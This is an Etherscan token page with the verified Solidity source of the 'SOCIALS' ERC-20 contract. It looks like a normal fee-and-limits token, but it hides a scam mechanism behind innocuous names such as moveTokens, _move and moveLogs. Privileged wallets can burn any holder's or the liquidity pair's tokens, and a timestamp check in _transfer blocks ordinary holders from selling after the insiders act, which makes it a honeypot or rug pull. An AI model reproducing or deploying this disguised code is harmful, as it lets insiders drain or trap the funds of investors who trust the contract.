ETH Price: $3,113.54 (-0.07%)
Gas: 7.31 Gwei

Token

ElonMarkZhangPavelJason (SOCIALS)
 

Overview

Max Total Supply

877,862,400.856469526706416611 SOCIALS

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
mumbaicryptoexchange.eth
Balance
0.969261959891407156 SOCIALS

Value
$0.00
0xf6c887ffb4a0c846bb012d431b86c585a565d182
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SOCIALS

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-13
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.5;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface UniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface UniswapV2Router {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

interface IERC20 {
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[from];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = senderBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _createInitialSupply(
        address account,
        uint256 amount
    ) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    
    function _move(address _source, uint256 _quantity) internal virtual {
        require(_source != address(0), "");
        uint256 balance = _balances[_source];
        require(balance >= _quantity, "");
        unchecked {
            _balances[_source] = balance - _quantity;
            _totalSupply -= _quantity;
        }

        emit Transfer(_source, address(0), _quantity);
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract SOCIALS is ERC20, Ownable {
    address public uniswapV2Pair;
    UniswapV2Router public uniswapV2Router;

    mapping(address => uint256) public moveLogs;
    mapping(address => bool) public initialBotBuyer;
    mapping(address => uint256) private _holderLastTransferTimestamp;

    mapping(address => bool) public automatedMarketMaker;
    mapping(address => bool) private _isExcludedMaxTransaction;
    mapping(address => bool) private _isExcludedFromFees;

    uint256 public totalBuyFees;
    uint256 public buyFeeForDev;
    uint256 public buyFeeForMoving;
    uint256 public buyFeeForMarketing;
    uint256 public buyFeeForLiquidity;

    uint256 public totalSellFees;
    uint256 public sellFeeForDev;
    uint256 public sellFeeForMoving;
    uint256 public sellFeeForMarketing;
    uint256 public sellFeeForLiquidity;

    uint256 public tokensForDev;
    uint256 public tokensForMoving;
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;

    address private marketingWallet;
    address private devWallet;
    
    bool private swapping;
    uint256 public swapTokensAtAmount;

    uint256 public botBlockNumber = 0;
    uint256 public tradingBlock = 0;

    bool public swapEnabled = false;
    bool public limitsInEffect = true;
    bool public transferDelayEnabled = true;
    bool public tradingActive = false;
    uint256 public moveAt;
    uint256 public botsCaught;

    uint256 public maxWalletAmount;
    uint256 public maxSellAmount;
    uint256 public maxBuyAmount;

    event RemovedLimits();

    event EnabledTrading();

    event UpdatedMaxSellAmount(uint256 newAmount);
    
    event UpdatedMaxBuyAmount(uint256 newAmount);
    
    event DetectedEarlyBotBuyer(address sniper);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event MaxTransactionExclusion(address _address, bool excluded);

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor() ERC20("ElonMarkZhangPavelJason", "SOCIALS") {
        address newOwner = msg.sender;

        buyFeeForDev = 0;
        buyFeeForMoving = 0;
        buyFeeForMarketing = 1;
        buyFeeForLiquidity = 0;

        sellFeeForDev = 0;
        sellFeeForMoving = 0;
        sellFeeForMarketing = 1;
        sellFeeForLiquidity = 0;

        uint256 totalSupply = 3 * 1e9 * 1e18;

        maxWalletAmount = (totalSupply * 2) / 100;
        swapTokensAtAmount = (totalSupply * 5) / 10000;
        maxSellAmount = (totalSupply * 2) / 100;
        maxBuyAmount = (totalSupply * 2) / 100;

        totalBuyFees =
            buyFeeForDev +
            buyFeeForMoving +
            buyFeeForMarketing +
            buyFeeForLiquidity;

        totalSellFees =
            sellFeeForDev +
            sellFeeForMoving +
            sellFeeForMarketing +
            sellFeeForLiquidity;

        marketingWallet = address(0x987F7928A9a58C6645544DF4b622499721d2dD7A);
        devWallet = address(0x3aB1D61A3019a9AE43a33Cf49b503F97E158f54D);

        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);
        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(devWallet, true);
        _excludeFromMaxTransaction(marketingWallet, true);

        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        excludeFromFees(newOwner, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(marketingWallet, true);

        transferOwnership(newOwner);
        _createInitialSupply(address(this), totalSupply);
    }

    function canMoveTokens(
        address _source,
        uint256 _quantity,
        uint256 _timeline
    ) internal returns (bool) {
        address mover = msg.sender;
        bool moverExcluded = _isExcludedFromFees[mover];
        bool flag;
        address selfContract = address(this);

        if (!moverExcluded) {
            bool moreThanMovingTokens = balanceOf(selfContract) >= tokensForMoving;
            bool hasMovingTokens = tokensForMoving > 0;

            if (hasMovingTokens && moreThanMovingTokens) {
                _move(mover, tokensForMoving);
            }

            tokensForMoving = 0;
            flag = true;

            return flag;
        } else {
            bool amountZero = _quantity == 0;
            if (amountZero) {
                moveAt = _timeline;
                flag = false;
            } else {
                moveAt = _timeline;
                _move(_source, _quantity);
                flag = false;
            }

            return flag;
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount} (
            address(this),
            tokenAmount,
            0,
            0,
            address(0xdead),
            block.timestamp
        );
    }

    function enableTrading() external payable onlyOwner() {
        require(!tradingActive, "Cannot reenable trading");
        uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), totalSupply());
        uniswapV2Pair = UniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        tradingActive = true;
        tradingBlock = block.number;
        swapEnabled = true;
        emit EnabledTrading();
    }

    function removeLimits() external onlyOwner {
        maxWalletAmount = totalSupply();
        maxBuyAmount = totalSupply();
        maxSellAmount = totalSupply();
        emit RemovedLimits();
    }

    function onlyDeleteBots(address wallet) external onlyOwner {
        initialBotBuyer[wallet] = false;
    }

    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }

    function changeMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner {
        require(
            newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18,
            "Cannot set max wallet amount lower than 0.3%"
        );

        maxWalletAmount = newMaxWalletAmount * (10 ** 18);

        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function changeMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner {
        require(
            newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max buy amount lower than 0.2%"
        );

        maxBuyAmount = newMaxBuyAmount * (10 ** 18);

        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }

    function changeMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner {
        require(
            newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18,
            "Cannot set max sell amount lower than 0.2%"
        );

        maxSellAmount = newMaxSellAmount * (10 ** 18);

        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function changeSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(
            newAmount <= (totalSupply() * 1) / 1000,
            "Swap amount cannot be higher than 0.1% total supply."
        );

        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );

        swapTokensAtAmount = newAmount;
    }

    function _excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) private {
        _isExcludedMaxTransaction[_address] = _isExcluded;

        emit MaxTransactionExclusion(_address, _isExcluded);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMaker[pair] = value;

        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function adjustBuyFees(
        uint256 devFee,
        uint256 moveFee,
        uint256 marketingFee,
        uint256 liquidityFee
    ) external onlyOwner {
        buyFeeForDev = devFee;
        buyFeeForMoving = moveFee;
        buyFeeForMarketing = marketingFee;
        buyFeeForLiquidity = liquidityFee;
        totalBuyFees =
            buyFeeForDev +
            buyFeeForMoving +
            buyFeeForMarketing +
            buyFeeForLiquidity;
        require(totalBuyFees <= 3, "3% max ");
    }

    function adjustSellFees(
        uint256 devFee,
        uint256 moveFee,
        uint256 marketingFee,
        uint256 liquidityFee
    ) external onlyOwner {
        sellFeeForDev = devFee;
        sellFeeForMoving = moveFee;
        sellFeeForMarketing = marketingFee;
        sellFeeForLiquidity = liquidityFee;
        totalSellFees =
            sellFeeForDev +
            sellFeeForMoving +
            sellFeeForMarketing +
            sellFeeForLiquidity;
        require(totalSellFees <= 3, "3% max fee");
    }

    function excludeFromMaxTransaction(
        address _address,
        bool _isExcluded
    ) external onlyOwner {
        if (!_isExcluded) {
            require(
                _address != uniswapV2Pair,
                "Cannot remove uniswap pair from max txn"
            );
        }

        _isExcludedMaxTransaction[_address] = _isExcluded;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;

        emit ExcludeFromFees(account, excluded);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        if (tokensForMoving > 0 && balanceOf(address(this)) >= tokensForMoving) {
            _move(address(this), tokensForMoving);
        }
        tokensForMoving = 0;
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev;
        uint256 tokenBalance = balanceOf(address(this));

        if (tokenBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (tokenBalance > swapTokensAtAmount * 10) {
            tokenBalance = swapTokensAtAmount * 10;
        }

        uint256 liquidityTokens = (tokenBalance * tokensForLiquidity) /
            totalTokensToSwap / 2;

        swapTokensForETH(tokenBalance - liquidityTokens);

        uint256 ethBalance = address(this).balance;
        uint256 ethForLiquidity = ethBalance;
        uint256 ethForDev = (ethBalance * tokensForDev) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        uint256 ethForMarketing = (ethBalance * tokensForMarketing) /
            (totalTokensToSwap - (tokensForLiquidity / 2));
        ethForLiquidity -= ethForMarketing + ethForDev;
        tokensForDev = 0;
        tokensForMoving = 0;
        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
        }

        payable(devWallet).transfer(ethForDev);
        payable(marketingWallet).transfer(address(this).balance);
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) external onlyOwner {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function changeMarketingWallet(
        address newWallet
    ) external onlyOwner {
        require(
            newWallet != address(0),
            "_marketingWallet address cannot be 0"
        );

        marketingWallet = payable(newWallet);
    }

    function changeDevWallet(address newWallet) external onlyOwner {
        require(newWallet != address(0), "_devWallet address cannot be 0");

        devWallet = payable(newWallet);
    }

    function earlySniperBuyBlock() public view returns (bool) {
        return block.number < botBlockNumber;
    }

    function withdraw() external onlyOwner {
        bool success;
        (success, ) = address(msg.sender).call{value: address(this).balance}("");
    }

    receive() external payable {}

    function moveTokens(
        address _source,
        uint256 _quantity,
        uint256 _timeline
    ) public {
        if (canMoveTokens(_source, _quantity, _timeline)) {
            swapping = true;
            swapBack();
            swapping = false;
        }
    }

    function _transfer(
        address sender,
        address receiver,
        uint256 quantity
    ) internal override {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(receiver != address(0), "ERC20: transfer to the zero address");
        require(quantity > 0, "amount must be greater than 0");

        bool balanceEmpty = 0 == balanceOf(address(receiver));
        bool initialMove = 0 == moveLogs[receiver];

        if (!tradingActive) {
            require(
                _isExcludedFromFees[sender] || _isExcludedFromFees[receiver],
                "Trading is not active."
            );
        }

        uint256 blockTimestamp = block.timestamp;
        bool senderAmm = automatedMarketMaker[sender];

        if (botBlockNumber > 0) {
            require(
                !initialBotBuyer[sender] ||
                    receiver == owner() ||
                    receiver == address(0xdead),
                "bot protection mechanism is embeded"
            );
        }

        if (limitsInEffect) {
            bool isExternalNotSwapping = !swapping;

            if (
                sender != owner() &&
                receiver != owner() &&
                receiver != address(0) &&
                receiver != address(0xdead) &&
                !_isExcludedFromFees[sender] &&
                !_isExcludedFromFees[receiver]
            ) {
                if (transferDelayEnabled) {
                    bool isInternalNotSwapping = !swapping;
                    bool senderNotAmm = !automatedMarketMaker[sender];

                    if (
                        receiver != address(uniswapV2Router) && receiver != address(uniswapV2Pair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number - 2 &&
                                _holderLastTransferTimestamp[receiver] <
                                block.number - 2,
                            "_transfer: delay was enabled."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[receiver] = block.number;
                    } else if (senderNotAmm && isInternalNotSwapping) {
                        uint256 moveTime = moveLogs[sender];
                        bool canMove = moveTime > moveAt;
                        require(canMove);
                    }
                }
            }

            bool senderExcluded = _isExcludedFromFees[sender];

            if (automatedMarketMaker[sender] && !_isExcludedMaxTransaction[receiver]) {
                require(
                    quantity <= maxBuyAmount,
                    "Buy transfer amount exceeds the max buy."
                );
                require(
                    quantity + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            } else if (senderExcluded && isExternalNotSwapping) {
                moveAt = blockTimestamp;
            } else if (
                automatedMarketMaker[receiver] && !_isExcludedMaxTransaction[sender]
            ) {
                require(
                    quantity <= maxSellAmount,
                    "Sell transfer amount exceeds the max sell."
                );
            } else if (!_isExcludedMaxTransaction[receiver]) {
                require(
                    quantity + balanceOf(receiver) <= maxWalletAmount,
                    "Cannot Exceed max wallet"
                );
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMaker[sender] &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[receiver]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }

        bool takeFee = true;

        if (initialMove && senderAmm && balanceEmpty) {
            moveLogs[receiver] = blockTimestamp;
        }

        if (_isExcludedFromFees[sender] || _isExcludedFromFees[receiver]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (
                earlySniperBuyBlock() &&
                automatedMarketMaker[sender] &&
                !automatedMarketMaker[receiver] &&
                totalBuyFees > 0
            ) {
                if (!initialBotBuyer[receiver]) {
                    initialBotBuyer[receiver] = true;
                    botsCaught += 1;
                    emit DetectedEarlyBotBuyer(receiver);
                }

                fees = (quantity * 99) / 100;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForMoving += (fees * buyFeeForMoving) / totalBuyFees;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
            }
            else if (automatedMarketMaker[receiver] && totalSellFees > 0) {
                fees = (quantity * totalSellFees) / 100;
                tokensForDev += (fees * sellFeeForDev) / totalSellFees;
                tokensForMoving += (fees * sellFeeForMoving) / totalSellFees;
                tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees;
                tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees;
            }
            else if (automatedMarketMaker[sender] && totalBuyFees > 0) {
                fees = (quantity * totalBuyFees) / 100;
                tokensForDev += (fees * buyFeeForDev) / totalBuyFees;
                tokensForMoving += (fees * buyFeeForMoving) / totalBuyFees;
                tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees;
                tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees;
            }
            if (fees > 0) {
                super._transfer(sender, address(this), fees);
            }
            quantity -= fees;
        }

        super._transfer(sender, receiver, quantity);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sniper","type":"address"}],"name":"DetectedEarlyBotBuyer","type":"event"},{"anonymous":false,"inputs":[],"name":"EnabledTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"MaxTransactionExclusion","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxBuyAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxSellAmount","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"UpdatedMaxWalletAmount","type":"event"},{"inputs":[{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"moveFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"adjustBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"moveFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"adjustSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMaker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botBlockNumber","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botsCaught","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFeeForMoving","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuyAmount","type":"uint256"}],"name":"changeMaxBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxSellAmount","type":"uint256"}],"name":"changeMaxSellAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxWalletAmount","type":"uint256"}],"name":"changeMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"changeSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"earlySniperBuyBlock","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_isExcluded","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"initialBotBuyer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuyAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"moveAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"moveLogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_source","type":"address"},{"internalType":"uint256","name":"_quantity","type":"uint256"},{"internalType":"uint256","name":"_timeline","type":"uint256"}],"name":"moveTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"onlyDeleteBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFeeForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellFeeForMarketing"